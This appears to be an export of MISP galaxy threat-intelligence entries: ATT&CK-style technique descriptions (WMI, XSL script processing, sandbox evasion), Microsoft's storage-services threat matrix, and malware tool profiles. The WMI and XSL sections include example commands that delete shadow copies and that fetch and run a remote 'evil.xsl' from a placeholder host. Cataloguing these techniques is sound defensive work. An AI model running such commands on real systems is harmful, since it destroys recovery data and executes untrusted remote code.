Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://app.tidalcyber.com/technique/63baf71d-f46f-4ac8-a3a6-8345ddd2f7a8) during automated discovery to shape follow-on behaviors.<sup>[[Deloitte Environment

Awareness](https://app.tidalcyber.com/references/af842a1f-8f39-4b4f-b4d2-0bbb810e6c31)]</sup>

Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://app.tidalcyber.com/technique/63baf71d-f46f-4ac8-a3a6-8345ddd2f7a8) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.^{[[Unit 42 Pirpi July 2015](https://app.tidalcyber.com/references/42d35b93-2866-46d8-b8ff-675df05db9db)]}

The tag is: *misp-galaxy:technique="Virtualization/Sandbox Evasion"*

Virtual Machine Discovery

An adversary may attempt to enumerate running virtual machines (VMs) after gaining access to a host or hypervisor. For example, adversaries may enumerate a list of VMs on an ESXi hypervisor using a [Hypervisor CLI](https://app.tidalcyber.com/technique/fced9cbe-2f9e-59f0-9c43-1895f935861b) such as `esxcli` or `vim-cmd` (e.g. `esxcli vm process list` or `vim-cmd vmsvc/getallvms`).^{[[Crowdstrike Hypervisor Jackpotting Pt 2 2021](https://app.tidalcyber.com/references/db1ca1bf-2f48-5ff1-9fd3-52b86f3f0726)]}^{[[TrendMicro Play](https://app.tidalcyber.com/references/1073def1-b5d1-57b2-8ddf-9e50291ef144)]} Adversaries may also directly leverage a graphical user interface, such as VMware vCenter, in order to view virtual machines on a host.

Adversaries may use the information from [Virtual Machine Discovery](https://app.tidalcyber.com/technique/ff6401f2-5308-59b4-a695-86b7120d4004) during discovery to shape follow-on behaviors. Subsequently discovered VMs may be leveraged for follow-on activities such as [Service Stop](https://app.tidalcyber.com/technique/e27c5756-f43e-424f-af62-b21e8b304e5d) or [Data Encrypted for Impact]([Crowdstrike Hypervisor Jackpotting Pt 2 2021(https://app.tidalcyber.com/references/db1ca1bf-2f48-5ff1-9fd3-52b86f3f0726)]</sup>

The tag is: *misp-galaxy:technique="Virtual Machine Discovery"*

Weaken Encryption

Adversaries may compromise a network device's encryption capability in order to bypass encryption that would otherwise protect data communications. ^{[[Cisco Synful Knock Evolution](https://app.tidalcyber.com/references/29301297-8343-4f75-8096-7fe229812f75)]}

Encryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.

Adversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://app.tidalcyber.com/technique/f435a5ff-78d2-44de-b464-2b5528f94adc), [Reduce Key Space](https://app.tidalcyber.com/

technique/aa6595d5-1b2e-45a8-8caf-b0968aeab2ba), and [Disable Crypto Hardware](https://app.tidalcyber.com/technique/f413afa2-406d-4e8e-a12c-5f1b8ef05d8a), an adversary can negatively effect and/or eliminate a device's ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. ^{[[Cisco Blog Legacy Device Attacks](https://app.tidalcyber.com/references/f7ce5099-7e04-4c0b-8767-e0eec664b18e)]}

The tag is: *misp-galaxy:technique="Weaken Encryption"*

Web Service

Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise.^{[[Broadcom BirdyClient Microsoft Graph API 2024](https://app.tidalcyber.com/references/a55197e2-3ed7-5b6f-8ab5-06218c2226a4)]} Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

The tag is: *misp-galaxy:technique="Web Service"*

Wi-Fi Networks

Adversaries may gain initial access to target systems by connecting to wireless networks. They may accomplish this by exploiting open Wi-Fi networks used by target devices or by accessing secured Wi-Fi networks — requiring [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406) — belonging to a target organization.^{[[DOJ GRU Charges 2018](https://app.tidalcyber.com/references/f97fd2f0-d265-5351-be6e-184611ac0025)]}^{[[Nearest Neighbor Volexity](https://app.tidalcyber.com/references/25b312ea-0d7a-5f05-9db1-14bbab909317)]} Establishing a connection to a Wi-Fi access point requires a certain level of proximity to both discover and maintain a stable network connection.

Adversaries may establish a wireless connection through various methods, such as by physically positioning themselves near a Wi-Fi network to conduct close access operations. To bypass the need for physical proximity, adversaries may attempt to remotely compromise nearby third-party systems that have both wired and wireless network connections available (i.e., dual-homed systems). These third-party compromised devices can then serve as a bridge to connect to a target's Wi-Fi network.^{[[Nearest Neighbor Volexity](https://app.tidalcyber.com/references/25b312ea-0d7a-5f05-9db1-14bbab909317)]}

Once an initial wireless connection is achieved, adversaries may leverage this access for follow-on activities in the victim network or further targeting of specific devices on the network. Adversaries may perform [Network Sniffing](https://app.tidalcyber.com/technique/bbad213d-477d-43bf-9501-

ad7d74bac323) or [Adversary-in-the-Middle](https://app.tidalcyber.com/technique/d98dbf30-c454-42ff-a9f3-2cd3319cc0d9) activities for [Credential Access](https://app.tidalcyber.com/tactics/0c3132d5-c0df-4793-b5f2-1a95bd64ab53) or [Discovery](https://app.tidalcyber.com/tactics/ee7e5a85-a940-46e4-b408-12956f3baafa).

The tag is: *misp-galaxy:technique="Wi-Fi Networks"*

Windows Management Instrumentation

Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.^{[[WMI 1-3](https://app.tidalcyber.com/references/fe0a3b0c-8526-5a0d-acb8-660bbc0c9328)]} WMI is an administration feature that provides a uniform environment to access Windows system components.

The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://app.tidalcyber.com/technique/30ef3f13-5e9b-4712-9adf-f0da4ef157a1) such as [Distributed Component Object Model](https://app.tidalcyber.com/technique/ebc5fabb-5634-49f2-8979-94ea98da114a) and [Windows Remote Management]([WMI 1-3(https://app.tidalcyber.com/references/fe0a3b0c-8526-5a0d-acb8-660bbc0c9328)]</sup> Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.^{[[WMI 1-3](https://app.tidalcyber.com/references/fe0a3b0c-8526-5a0d-acb8-660bbc0c9328)]} ^{[[Mandiant WMI](https://app.tidalcyber.com/references/8d237948-7b10-5055-b9e6-52e6cab16f32)]}

An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for [Discovery](https://app.tidalcyber.com/tactics/ee7e5a85-a940-46e4-b408-12956f3baafa) as well as [Execution](https://app.tidalcyber.com/tactics/dad2337d-6d35-410a-acc5-da36ff83ee44) of commands and payloads.^{[[Mandiant WMI](https://app.tidalcyber.com/references/8d237948-7b10-5055-b9e6-52e6cab16f32)]} For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit System Recovery]([WMI 6(https://app.tidalcyber.com/references/df07a086-0d38-570b-b0c5-9f5061212db7)]</sup>

Note: `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being “disabled by default” on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by [PowerShell](https://app.tidalcyber.com/technique/6ca7838a-e8ad-43e8-9da6-15b640d1cbde) as the primary WMI interface.^{[[WMI 7,8](https://app.tidalcyber.com/references/819cecb2-5bd3-5c20-bbda-372516b00d6e)]} In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.^{[[WMI 7,8](https://app.tidalcyber.com/references/819cecb2-5bd3-5c20-bbda-372516b00d6e)]}

The tag is: *misp-galaxy:technique="Windows Management Instrumentation"*

XSL Script Processing

Adversaries may bypass application control and obscure execution of code by embedding scripts

inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. ^{[[Microsoft XSLT Script Mar 2017](https://app.tidalcyber.com/references/7ff47640-2a98-4a55-939a-ab6c8c8d2d09)]}

Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://app.tidalcyber.com/technique/8811114c-a0cf-479c-b95d-c036467749e3), the Microsoft common line transformation utility binary (msxsl.exe) ^{[[Microsoft msxsl.exe](https://app.tidalcyber.com/references/a25d664c-d109-466f-9b6a-7e9ea8c57895)]} can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. ^{[[Penetration Testing Lab MSXSL July 2017](https://app.tidalcyber.com/references/2f1adf20-a4b8-48c1-861f-0a44271765d7)]} Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. ^{[[Reaqta MSXSL Spearphishing MAR 2018](https://app.tidalcyber.com/references/927737c9-63a3-49a6-85dc-620e055aaf0a)]} Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.^{[[XSL Bypass Mar 2019](https://app.tidalcyber.com/references/e4e2cf48-47e0-45d8-afc2-a35635f7e880)]}

Command-line examples:^{[[Penetration Testing Lab MSXSL July 2017](https://app.tidalcyber.com/references/2f1adf20-a4b8-48c1-861f-0a44271765d7)]}^{[[XSL Bypass Mar 2019](https://app.tidalcyber.com/references/e4e2cf48-47e0-45d8-afc2-a35635f7e880)]}

- <code>msxsl.exe customers[.]xml script[.]xsl</code>
- <code>msxsl.exe script[.]xsl script[.]xsl</code>
- <code>msxsl.exe script[.]jpeg script[.]jpeg</code>

Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://app.tidalcyber.com/technique/c37795d9-8970-461f-9491-3086d6b4b69a) to invoke JScript or VBScript within an XSL file.^{[[LOLBAS Wmic](https://app.tidalcyber.com/references/497e73d4-9f27-4b30-ba09-f152ce866d0f)]} This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://app.tidalcyber.com/technique/b1da2b02-9ade-45e0-a795-ec1b19e5316a)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://app.tidalcyber.com/technique/c37795d9-8970-461f-9491-3086d6b4b69a) provided they utilize the /FORMAT switch.^{[[XSL Bypass Mar 2019](https://app.tidalcyber.com/references/e4e2cf48-47e0-45d8-afc2-a35635f7e880)]}

Command-line examples:^{[[XSL Bypass Mar 2019](https://app.tidalcyber.com/references/e4e2cf48-47e0-45d8-afc2-a35635f7e880)]}^{[[LOLBAS Wmic](https://app.tidalcyber.com/references/497e73d4-9f27-4b30-ba09-f152ce866d0f)]}

- Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>
- Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code>

The tag is: *misp-galaxy:technique="XSL Script Processing"*

Threat Matrix for storage services

Microsoft Defender for Cloud threat matrix for storage services contains attack tactics, techniques and mitigations relevant storage services delivered by cloud providers..

> Threat Matrix for storage services is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Evgeny Bogokovsky - Microsoft - Ram Pliskin

MS-T801 - Storage account discovery

Attackers may execute active reconnaissance scans to gather storage account names that becomes a potential target. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.

The tag is: *misp-galaxy:tmss="MS-T801 - Storage account discovery"*

Table 20877. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/storage-account-discovery

MS-T804 - Search engines

Attackers may use search engines to collect information about victim storage accounts that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords such as storage accounts domain names (site:*.blob.core.windows.net)

The tag is: *misp-galaxy:tmss="MS-T804 - Search engines"*

Table 20878. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/search-engines

MS-T803 - Databases of publicly available storage accounts

Attackers may search public databases for publicly available storage accounts that can be used

during targeting.

The tag is: *misp-galaxy:tmss="MS-T803 - Databases of publicly available storage accounts"*

Table 20879. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/databases-of-public-accounts

MS-T826 - DNS/Passive DNS

Attackers may search for DNS data for valid storage account names that can become potential targets. Threat actors can query nameservers using brute-force technique to enumerate existing storage accounts in the wild, or search through centralized repositories of logged DNS query responses (known as passive DNS).

The tag is: *misp-galaxy:tmss="MS-T826 - DNS/Passive DNS"*

Table 20880. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/dns-passive-dns

MS-T805 - Victim-owned websites

Attackers may look for storage accounts of a victim enterprise by searching its websites. Victim-owned website pages may be stored on a storage account or contain links to retrieve data stored in a storage account. The links contain the URL of the storage and provide an entry point into the account.

The tag is: *misp-galaxy:tmss="MS-T805 - Victim-owned websites"*

Table 20881. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/victim-owned-websites

MS-T814 - Valid SAS token

A shared access signature (SAS) is a token, that is appended to the a uniform resource identifier (URI) for a storage resource, that grants restricted access rights over the associated resource in your storage account. Attackers may get a SAS token using one of the Credential Access techniques or during the reconnaissance process through social engineering.

The tag is: *misp-galaxy:tmss="MS-T814 - Valid SAS token"*

Table 20882. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/valid-sas-token

MS-T815 - Valid shared key

Attackers may get a shared key using one of Credential Access techniques or capture one earlier in their reconnaissance process through social engineering to gain initial access. Adversaries may leverage keys left in source code or configuration files. Sophisticated attackers may also obtain keys from hosts (virtual machines) that have mounted File Share on their system (SMB). Shared key provides unrestricted permissions over all data plane operations.

The tag is: *misp-galaxy:tmss="MS-T815 - Valid shared key"*

Table 20883. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/valid-shared-key

MS-T816 - Authorized principal account

Attackers may steal account credentials using one of the credential access techniques or capture an account earlier in their reconnaissance process through social engineering to gain initial access. An authorized principal account can result in full control of storage account resources.

The tag is: *misp-galaxy:tmss="MS-T816 - Authorized principal account"*

Table 20884. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/authorized-principal-account

MS-T817 - Anonymous public read access

Attackers may leverage publicly exposed storage accounts to list containers/blobs and their properties. Azure Storage supports optional anonymous public read access for containers and blobs. By default, anonymous access to your data is never permitted. Unless you explicitly enable anonymous access, all requests to a container and its blobs must be authorized. When you configure a container's public access level setting to permit anonymous access, clients can read data in that container without authorizing the request.

The tag is: *misp-galaxy:tmss="MS-T817 - Anonymous public read access"*

Table 20885. Table References

Links

https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/anonymous-public-read-access

MS-T825 - SFTP credentials

Attackers may obtain and abuse credentials of an SFTP account as a means of gaining initial access. SFTP is a prevalent file transfer protocol between a client and a remote service. Once the user connects to the cloud storage service, the user can upload and download blobs and perform other operations that are supported by the protocol. SFTP connection requires SFTP accounts which are managed locally in the storage service instance, including credentials in a form of passwords or key-pairs.

The tag is: *misp-galaxy:tmss="MS-T825 - SFTP credentials"*

Table 20886. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/sftp-credentials

MS-T827 - NFS access

Attackers may perform initial access to a storage account using NFS protocol where enabled. While access is restricted to a list of allowed virtual networks that are configured on the storage account firewall, connection via NFS protocol does not require authentication and can be performed by any source on the specified networks.

The tag is: *misp-galaxy:tmss="MS-T827 - NFS access"*

Table 20887. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/nfs-access

MS-T828 - SMB access

Attackers may perform initial access to a storage account file shares using Server Message Block (SMB) protocol.

The tag is: *misp-galaxy:tmss="MS-T828 - SMB access"*

Table 20888. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/smb-access

MS-T840 - Object replication

Attackers may set a replication policy between source and destination containers that asynchronously copies objects from source to destination. This feature can be maliciously misused in both directions. Outbound replication can serve as an exfiltration channel of customer data from the victim's container to an adversary's container. Inbound replication can be used to deliver malware from an adversary's container to a victim's container. After the policy is set, the attacker can operate on their container without accessing the victim container.

The tag is: *misp-galaxy:tmss="MS-T840 - Object replication"*

Table 20889. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/object-replication

MS-T813 - Firewall and virtual networks configuratioin changes

Attackers may disable firewall protection or set additional firewall rules to masquerade their access channel. Azure Storage offers a set of built-in network access features. Administrators can leverage these capabilities to restrict access to storage resources. Restriction rules can operate at the IP level or VNet IDs. When network rules are configured, only requests originated from authorized subnets will be served.

The tag is: *misp-galaxy:tmss="MS-T813 - Firewall and virtual networks configuratioin changes"*

Table 20890. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/firewall-configuration-changes

MS-T808 - Role-based access control permission

Storage services offer built-in RBAC roles that encompass sets of permissions used to access different data types. Definition of custom roles is also supported. Upon assignment of an RBAC role to an identity object (like Azure AD security principal) the storage provider grants access to that security principal. Attackers may leverage the RBAC mechanism to ensure persistent access to their owned identity objects.

The tag is: *misp-galaxy:tmss="MS-T808 - Role-based access control permission"*

Table 20891. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/rbac-permission

MS-T806 - Create SAS token

Attackers may create a high-privileged SAS token with long expiry to preserve valid credentials for a long period. The tokens are not monitored by storage accounts thus they cannot be revoked (except Service SAS) and it's not easy to determine whether there are valid tokens in the wild until they are used.

The tag is: *misp-galaxy:tmss="MS-T806 - Create SAS token"*

Table 20892. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/create-sas-token

MS-T807 - Container access level property

Attackers may adjust the container access level property at the granularity of a blob or container, to permit anonymous read access to data in the storage account. This configuration secures a channel to exfiltrate data even if the initial access technique is no longer valid.

The tag is: *misp-galaxy:tmss="MS-T807 - Container access level property"*

Table 20893. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/container-access-level-property

MS-T809 - SFTP account

Attackers may create an SFTP account to maintain access to a target storage account. The SFTP account is local on the storage instance and is not subject to Azure RBAC permissions. The account is also unaffected in case of storage account access keys rotation.

The tag is: *misp-galaxy:tmss="MS-T809 - SFTP account"*

Table 20894. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/sftp-account

MS-T830 - Trusted Azure services

Attackers may configure the storage account firewall to allow access by trusted Azure services. Azure Storage provides a predefined list of trusted services. Any resource from that list that belongs to the same subscription as the storage account is allowed by the firewall even if there is no firewall rule that explicitly permits the source address of the resource.

The tag is: *misp-galaxy:tmss="MS-T830 - Trusted Azure services"*

Table 20895. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/trusted-azure-services

MS-T829 - Trusted access based on a managed identity

Attackers may configure the storage account firewall to allow access by specific resource instances based on their system-assigned managed identity, regardless of their source address. The resource type can be chosen from a predefined list provided by Azure Storage, and the resource instance must be in the same tenant as the storage account. The RBAC permissions of the resource instance determine the types of operations that a resource instance can perform on storage account data.

The tag is: *misp-galaxy:tmss="MS-T829 - Trusted access based on a managed identity"*

Table 20896. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/trusted-access-managed-identity

MS-T812 - Private endpoint

Attackers may set private endpoints for a storage account to establish a separate communication channel from a target virtual network. The new endpoint is assigned with a private IP address within the virtual network's address range. All the requests sent to the private endpoint bypass the storage account firewall by design.

The tag is: *misp-galaxy:tmss="MS-T812 - Private endpoint"*

Table 20897. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/private-endpoint

MS-T841 - Storage data clone

Storage services offer different types of cloning or backup data stored on them. Attackers may abuse these built-in capabilities to steal sensitive documents, source code, credentials, and other business crucial information.

The tag is: *misp-galaxy:tmss="MS-T841 - Storage data clone"*

Table 20898. Table References

Links

https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/storage-data-clone

MS-T831 - Data transfer size limits

Attackers may fragment stolen information and exfiltrate it on different size chunks to avoid being detected by triggering potentially predefined transfer threshold alerts.

The tag is: *misp-galaxy:tmss="MS-T831 - Data transfer size limits"*

Table 20899. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/data-transfer-size-limits

MS-T832 - Automated exfiltration

Attackers may exploit legitimate automation processes, predefined by the compromised organization, with the goal of having their logging traces blend in normally within the company's typical activities. Assimilating or disguising malicious intentions will keep adversary actions, such as data theft, stealthier.

The tag is: *misp-galaxy:tmss="MS-T832 - Automated exfiltration"*

Table 20900. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/automated-exfiltration

MS-T810 - Disable audit logs

Attackers may disable storage account audit logs to prevent event tracking and avoid detection. Audit logs provide a detailed record of operations performed on a target storage account and may be used to detect malicious activities. Thus, disabling these logs can leave a resource vulnerable to attacks without being detected.

The tag is: *misp-galaxy:tmss="MS-T810 - Disable audit logs"*

Table 20901. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/disable-audit-logs

MS-T811 - Disable cloud workload protection

Attackers may disable the cloud workload protection service which raises security alerts upon detection of malicious activities in cloud storage services.

The tag is: *misp-galaxy:tmss="MS-T811 - Disable cloud workload protection"*

Table 20902. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/disable-protection-service

MS-T833 - Operations across geo replicas

Attackers may split their requests across geo replicas to reduce the footprint in each region and avoid being detected by various rules and heuristics.

The tag is: *misp-galaxy:tmss="MS-T833 - Operations across geo replicas"*

Table 20903. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/operations-across-geo-replicas

MS-T818 - Access key query

Attackers may leverage subscription/account-level access to gather storage account keys and use these keys to authenticate at the resource level. This technique exhibits cloud resource pivoting in combination with control management and data planes. Adversaries can query management APIs to fetch primary and secondary storage account keys.

The tag is: *misp-galaxy:tmss="MS-T818 - Access key query"*

Table 20904. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/access-key-query

MS-T834 - Cloud shell profiles

Cloud Shell is an interactive, authenticated, browser-accessible shell for managing cloud resources. It provides the flexibility of shell experience, either Bash or PowerShell. To support the Cloud Shell promise of being accessible from everywhere, Cloud Shell profiles and session history are saved on storage account. Attackers may leverage the legitimate use of Cloud Shell to impersonate account owners and potentially obtain additional secrets logged as part of session history.

The tag is: *misp-galaxy:tmss="MS-T834 - Cloud shell profiles"*

Table 20905. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/cloud-shell-profiles

MS-T819 - Unsecured communication channel

Attackers may sniff network traffic and capture credentials sent over an insecure protocol. When Storage account is configured to support unencrypted protocol such as HTTP, credentials are passed over the wire unprotected and are susceptible to leakage. The attacker can use the compromised credentials to gain initial access to the storage account.

The tag is: *misp-galaxy:tmss="MS-T819 - Unsecured communication channel"*

Table 20906. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/unsecured-communication-channel

MS-T820 - Storage service discovery

Attackers may leverage access permission to explore the stored objects in the storage account. Tools witnessed, at the reconnaissance phase, are oftentimes used toward this post-compromise information-gathering objective, now with authorization to access storage APIs, such as the List Blobs call.

The tag is: *misp-galaxy:tmss="MS-T820 - Storage service discovery"*

Table 20907. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/storage-service-discovery

MS-T835 - Account configuration discovery

Attackers may leverage control plane access permission to retrieve the storage account configuration. The configuration contains various technical details that may assist the attacker in implementing a variety of tactics. For example, firewall configuration provides network access information. Other parameters may reveal whether access operations are logged. The configuation may also contain the backup policy that may assist the attacker in performing data destruction.

The tag is: *misp-galaxy:tmss="MS-T835 - Account configuration discovery"*

Table 20908. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/account-configuration-discovery

MS-T821 - Malicious content upload

Attackers may use storage services to store a malicious program or toolset that will be executed at

later times during their operation. In addition, adversaries may exploit the trust between users and their organization's Storage services by storing phishing content. Furthermore, storage services can be leveraged to park gathered intelligence that will be exfiltrated when terms suit the actor group.

The tag is: *misp-galaxy:tmss="MS-T821 - Malicious content upload"*

Table 20909. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/malicious-content-upload

MS-T822 - Malware distribution

Storage services offer different types of mechanisms to support auto-synchronization between various resources and the storage account. Attackers may leverage access to the storage account to upload malware and benefit from the auto-sync built-in capabilities to have their payload being populated and potentially weaponize multiple systems.

The tag is: *misp-galaxy:tmss="MS-T822 - Malware distribution"*

Table 20910. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/malware-distribution

MS-T823 - Trigger cross-service interaction

Attackers may manipulate storage services to trigger a compute service, like Azure Functions, where an attacker already has a foothold on a storage container and can inject a blob that will initiate a chain of a compute process. This may allow an attacker to infiltrate another resource and cause harm.

The tag is: *misp-galaxy:tmss="MS-T823 - Trigger cross-service interaction"*

Table 20911. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/trigger-cross-service-interaction

MS-T824 - Code injection

Same is applicable for data blobs or files which may be eventually processed on a host by a legitimate application with software vulnerabilities. Attackers may tamper benign data with a payload that exploits a vulnerability on a user's end and execute a malicious code.

The tag is: *misp-galaxy:tmss="MS-T824 - Code injection"*

Table 20912. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/code-injection

MS-T836 - Static website

Attackers may use the "static website" feature to exfiltrate collected data outside of the storage account. Static website is a cloud storage provider hosting capability that enables serving static web content directly from the storage account. The website can be reached via an alternative web endpoint which might be overlooked when restricting access to the storage account.

The tag is: *misp-galaxy:tmss="MS-T836 - Static website"*

Table 20913. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/static-website

MS-T839 - Data corruption

Attackers may corrupt or delete data stored on storage services to disrupt the availability of systems or other lines of business.

The tag is: *misp-galaxy:tmss="MS-T839 - Data corruption"*

Table 20914. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/data-corruption

MS-T838 - Data encryption for impact (Ransomware)

Attackers may encrypt data stored on storage services to disrupt the availability of systems or other lines of business. Making resources inaccessible by encrypting files or blobs and withholding access to a decryption key. This may be done to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware).

The tag is: *misp-galaxy:tmss="MS-T838 - Data encryption for impact (Ransomware)"*

Table 20915. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/data-encryption-for-impact

MS-T837 - Data manipulation

Attackers may insert or modify data in order to influence external outcomes, thus threatening the

integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary.

The tag is: *misp-galaxy:tmss="MS-T837 - Data manipulation"*

Table 20916. Table References

Gh0st Rat

Gh0st Rat is a well-known Chinese remote access trojan which was originally made by C.Rufus Security Team several years ago. GH0ST is a backdoor written in C++ that communicates via a custom binary protocol over TCP or UDP. It typically features a packet signature at the start of each message that varies between samples. Availability: Public

The tag is: *misp-galaxy:tool="Gh0st Rat"*

Gh0st Rat is also known as:

- Gh0stRat, GhostRat

View relationships graph

Gh0st Rat has relationships with:

- used-by: misp-galaxy:threat-actor="APT14" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Regin

Regin (also known as Prax or WarriorPride) is a sophisticated malware toolkit revealed by Kaspersky Lab, Symantec, and The Intercept in November 2014. The malware targets specific users of Microsoft Windows-based computers and has been linked to the US intelligence gathering agency NSA and its British counterpart, the GCHQ. The Intercept provided samples of Regin for download including malware discovered at Belgian telecommunications provider, Belgacom. Kaspersky Lab says it first became aware of Regin in spring 2012, but that some of the earliest samples date from 2003. The name Regin is first found on the VirusTotal website on 9 March 2011.

Htran

HUC Packet Transmitter (HTran) is a proxy tool, used to intercept and redirect Transmission Control Protocol (TCP) connections from the local host to a remote host. This makes it possible to obfuscate an attacker's communications with victim networks. The tool has been freely available on the internet since at least 2009. HTran facilitates TCP connections between the victim and a hop point controlled by an attacker. Malicious cyber actors can use this technique to redirect their packets through multiple compromised hosts running HTran, to gain greater access to hosts in a network

X-Agent

APT28's second-stage persistent macOS backdoor. This backdoor component is known to have a modular structure featuring various espionage functionalities, such as key-logging, screen grabbing and file exfiltration. This component is available for Osx, Windows, Linux and iOS operating systems.

Xagent is a modular backdoor with spying functionalities such as keystroke logging and file exfiltration. Xagent is the group's flagship backdoor and heavily used in their operations. Early versions for Linux and Windows were seen years ago, then in 2015 an iOS version came out. One year later, an Android version was discovered and finally, in the beginning of 2017, an Xagent sample for OS X was described.

BlackEnergy

